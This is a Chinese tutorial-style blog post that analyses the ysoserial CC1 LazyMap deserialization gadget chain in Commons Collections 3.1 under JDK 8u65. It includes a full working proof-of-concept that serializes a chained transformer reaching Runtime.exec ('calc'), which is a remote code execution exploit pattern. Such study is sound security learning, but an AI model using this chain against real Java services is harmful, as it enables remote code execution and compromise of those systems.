CC1-LazyMap

分析下ysoserial中CC1的利用链

分析版本

Commons Collections 3.1

JDK 8u65

环境配置参考JAVA安全初探(三):CC1链全分析

分析过程

与TransformerMap的CC1不同的是,在寻找InvokeTransformer.transform的方法调用时,我们选择LazyMap的get方法。

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {      //进入此判断
            Object value = factory.transform(key);//factory为InvokeTransformer
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

之后找get的方法调用,这里作者找到的还是AnnotationInvocationHandler类中的invoke方法。其实AnnotationInvocationHandler类实现了InvocationHandler,是java动态代理的写法,invoke方法是代理调用方法时调用自动调用的。java动态代理可以参考JDK动态代理

    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();                  //这里member取的是动态代理代理的方法名字
        Class<?>[] paramTypes = method.getParameterTypes();//返回方法参数类型

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 && //不能进此循环 保证代理的方法名不是equals 方法参数数量不为1 并且 第一个参数类型不是Object类
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)                              //不能进次循环 方法数量不为1
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {                                   //方法名字不能为toString hashCode annotationType
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);          //构造方法输入的可控Map<String, Object> memberValues,调用get 也就是LazyMap调用get

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

更新Poc

这里动态代理是调用的Map的isEmpty()方法。方法没有参数,并且名字不为toString hashCode annotationType

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        //反射实例化AnnotationInvocationHandler
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class , Map.class);
        constructor.setAccessible(true);
        InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
        Map lazyMap1 = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler);
        lazyMap1.isEmpty();

写到这里还没结束,因为我们最后要找到反序列化readObject方法。

作者这里用的还是AnnotationInvocationHandler类重写的readObject方法

因为在反序列化时要调用invoke方法,所以要保证代理调用了方法(方法满足方法没有参数,并且名字不为toString hashCode annotationType)。

在这里正好有个memberValues.entrySet(),memberValues是我们能控制的Map类,而entrySet()方法正好没有参数,并且名字不为toString hashCode annotationType。

这里就不用像CC1 TransformsMap链注意注释类的传参了,因为我们只要执行到for (Map.Entry<String, Object> memberValue : memberValues.entrySet())这行就可以。

其实也可以找其他满足条件的类,不一定是AnnotationInvocationHandler类。

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {  //遍历Map<String, object> memberValues是Map类 memberValue是键值对
            String name = memberValue.getKey();                     //取键值对的key, memberValue
            Class<?> memberType = memberTypes.get(name);            //返回key对应的映射(Value), Class<? extends Annotation> type
            if (memberType != null) {  // i.e. member still exists  //type中需要有memberValues的key
                Object value = memberValue.getValue();              //取键值对的value, memberValue
                if (!(memberType.isInstance(value) ||               //判断两个对象类型,value是否可以强制转化为memberType
                      value instanceof ExceptionProxy)) {           //value是否是ExceptionProxy的实例化对象
                    memberValue.setValue(                           //memberValue需要设置为AbstractInputCheckedMapDecorator
                        new AnnotationTypeMismatchExceptionProxy(   //runtime
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

最后的Poc

public class cc1_poc_lazyMap {
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ss.ser"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        //反射实例化AnnotationInvocationHandler
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class , Map.class);
        constructor.setAccessible(true);
        InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler); //动态代理
        //System.out.println(lazyMap1.isEmpty());
        //lazyMap1.isEmpty();
        Object annotationInvocationHandler1 = constructor.newInstance(Target.class, mapProxy);

        serialize(annotationInvocationHandler1);
        unserialize("ss.ser");
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/765621.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

uview文本框组件计数count报错u--textarea

报错内容&#xff1a; [Vue warn]: Error in render: “TypeError: Cannot read property ‘length’ of null” found in —> at uni_modules/uview-ui/components/u-textarea/u-textarea.vue at uni_modules/uview-ui/components/u–textarea/u–textarea.vue mp.runtime.…

C盘清理和管理

本篇是C盘一些常用的管理方法&#xff0c;以及定期清理C盘的方法&#xff0c;大部分情况下都能避免C盘爆红。 C盘清理和管理 C盘存储管理查看存储情况清理存储存储感知清理临时文件清理不需要的 迁移存储 磁盘清理桌面存储管理应用存储管理浏览器微信 工具清理 C盘存储管理 查…

ERROR: No matching distribution found for torch==2.0.1+cu117(比手动下载方便)

ERROR: No matching distribution found for torch2.0.1cu117 遇见这种报错可以把pip install -r requirements.txt修改为 pip install -r requirements.tx --extra-index-url https://download.pytorch.org/whl/cu117 -i https://pypi.tuna.tsinghua.edu.cn/simple或者直接…

大科技公司大量裁员背后的真相

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

网络配线架的隐藏功能

网络布线是确保现代信息社会高效运转的关键技术之一。在这一领域&#xff0c;网络配线架扮演着至关重要 的角色。它不仅仅是一个简单的物理连接点&#xff0c;更拥有许多隐藏功能&#xff0c;这些功能极大地提升了网络的 效率、稳定性和可管理性。 1、集中管理 网络配线架提…

VS2022+Qt+OpenCV Debug模式下,循环中格式转换引起的内存异常问题 debug_heap.cpp

文章目录 前言一、问题二、报错1.提示图片2.提示堆栈3.反汇编位置 三、解决办法总结 前言 最近在使用VS2022&#xff0c;C&#xff0c;OpenCV&#xff0c;Qt开发时&#xff0c;遇到了一个疑难杂症-在循环中执行字符串格式转换会触发内存异常&#xff0c;经过痛苦的排查过程&am…

24/07/02数据结构(1.1201)算法效率顺序表

数据结构基本内容:1.时间复杂度 空间复杂度2.顺序表链表3.栈 队列4.二叉树5.排序 数据结构是存储,组织数据的方式.指相互之间存在一种或多种特定关系的数据元素的集合 算法是定义良好的计算过程.取一个或一组值为输入并产生一个或一组值为输出. 需要知道虽然选择题有20-30个…

MyBatis-plus这么好用,不允许还有人不会

你好呀&#xff0c;我是 javapub. 做 Java 的同学都会用到的三件套&#xff0c;Spring、SpringMV、MyBatis。但是由于使用起来配置较多&#xff0c;依赖冲突频发。所有&#xff0c;各路大佬又在这上边做了包装&#xff0c;像我们常用的 SpringBoot、MyBatisPlus。 基于当前要…

[Python学习篇] Python函数

定义函数 语法&#xff1a;使用关键字 def def 函数名(参数): 代码1 代码2 ...... 调用函数 语法&#xff1a; 函数名(参数) 注意&#xff1a;不同的需求&#xff0c;参数可有可无。在Python中&#xff0c;函数必须先定义后使用 示例&#xff1a; # 定义函数 d…

WPDRRC信息安全体系架构模型

构建信息安全保障体系框架应包括技术体系、组织机构体系和管理体系等三部分&#xff0c;也就是说&#xff1a;人、管理和技术手段是信息安全架构设计的三大要素&#xff0c;而构成动态的信息与网络安全保障体系框架是实现系统的安全保障。 1.WPDRRC信息安全模型的定义 WPDRRC…

书城在线系统:基于Java和SSM框架的高效信息管理平台

开头语&#xff1a;你好呀&#xff0c;我是计算机学长猫哥&#xff01;如果有相关需求&#xff0c;文末可以找到我的联系方式。 开发语言&#xff1a;Java 数据库&#xff1a;MySQL 技术&#xff1a;SSM框架&#xff08;Spring, Spring MVC, Mybatis&#xff09; 工具&…

【面试系列】AI研究员高频面试题及详细解答

欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;欢迎订阅相关专栏&#xff1a; ⭐️ 全网最全IT互联网公司面试宝典&#xff1a;收集整理全网各大IT互联网公司技术、项目、HR面试真题. ⭐️ AIGC时代的创新与未来&#xff1a;详细讲解AIGC的概念、核心技术、…

图形对象句柄及属性对象句柄

句柄 句柄引用图形对象的具体实例。使用对象句柄设置和查询对象属性的值。 对象的句柄值,类似于编程时的引用,将对象的句柄值赋值给变量后,该变量就可以代表指定的绘图对象。 当创建图形对象时&#xff0c;可以将对象的句柄保存到变量中。 x 1:10; y x.^2; h plot(x,y); …

【开发环境】MacBook M系列芯片环境下搭建完整Python开发环境

文章目录 Anaconda和Python的关系&#xff1f;1. Python2. Anaconda 安装AnacondaPycharm整合Anaconda运行你的Python代码 Anaconda和Python的关系&#xff1f; 如果有简单了解过Python语言的&#xff0c;那么你很容易就会听到有人会叫你安装Anaconda。 那么Anaconda是什么&am…

如何寻找一个领域的顶级会议,并且判断这个会议的影响力?

如何寻找一个领域的顶级会议&#xff0c;并且判断这个会议的影响力&#xff1f; 会议之眼 快讯 很多同学都在问&#xff1a;学术会议不是期刊&#xff0c;即使被SCI检索&#xff0c;也无法查询影响因子。那么如何知道各个领域的顶级会议&#xff0c;并对各个会议有初步了解呢…

用AI,每天创作200+优质内容,2分钟教会你操作!

前段时间发布了这篇“寻找爆款文案及标题的9大渠道&#xff0c;直接搬运都能搞流量&#xff01;”&#xff0c;里面我讲到如何寻找爆款标题。最近不少朋友问我&#xff0c;如何创作这个标题相关的内容。 多数平台都有风控规则&#xff0c;有些平台内容也会有字数要求。为了让大…

动态规划算法,完全零基础小白教程!不是计算机的都能学会!万字吐血详解。

目录 一、动态规划算法概念 题一 1、算法解析 1&#xff09;确定状态&#xff1a; ​2&#xff09;状态转移方程&#xff1a; ​3&#xff09;初始化&#xff1a; 4&#xff09;填表顺序&#xff1a; 5&#xff09;返回值&#xff1a; 2、代码 题二 1、算法解析 1、确…

2Python的Pandas:读取数据

1.读取Excel文件 1.1.读取数据 import pandas as pd# Excel 文件的 URL 或本地路径 url "https://www.gairuo.com/file/data/dataset/team.xlsx"# 使用 Pandas 的 read_excel 函数读取数据 try:df pd.read_excel(url)print(df.head()) # 打印 DataFrame 的前几行…

【Node-RED 4.0.2】4.0版本新增特性(官方版)

二、重要功能 *1.时间戳格式改进 过去&#xff0c;node-red 只提供了 最原始的 timestamp 的格式&#xff08;1970-01-01 ~ now&#xff09; 但是现在&#xff0c;额外增加了 2 种格式&#xff1a; ISO 8601 -A COMMON FORMAT&#xff08;YYYY-MM-DDTHH:mm:ss:sssZ&#xff…

《昇思25天学习打卡营第9天|onereal》

继续学习昨天的 基于MindNLPMusicGen生成自己的个性化音乐 生成音乐 MusicGen支持两种生成模式&#xff1a;贪心&#xff08;greedy&#xff09;和采样&#xff08;sampling&#xff09;。在实际执行过程中&#xff0c;采样模式得到的结果要显著优于贪心模式。因此我们默认启…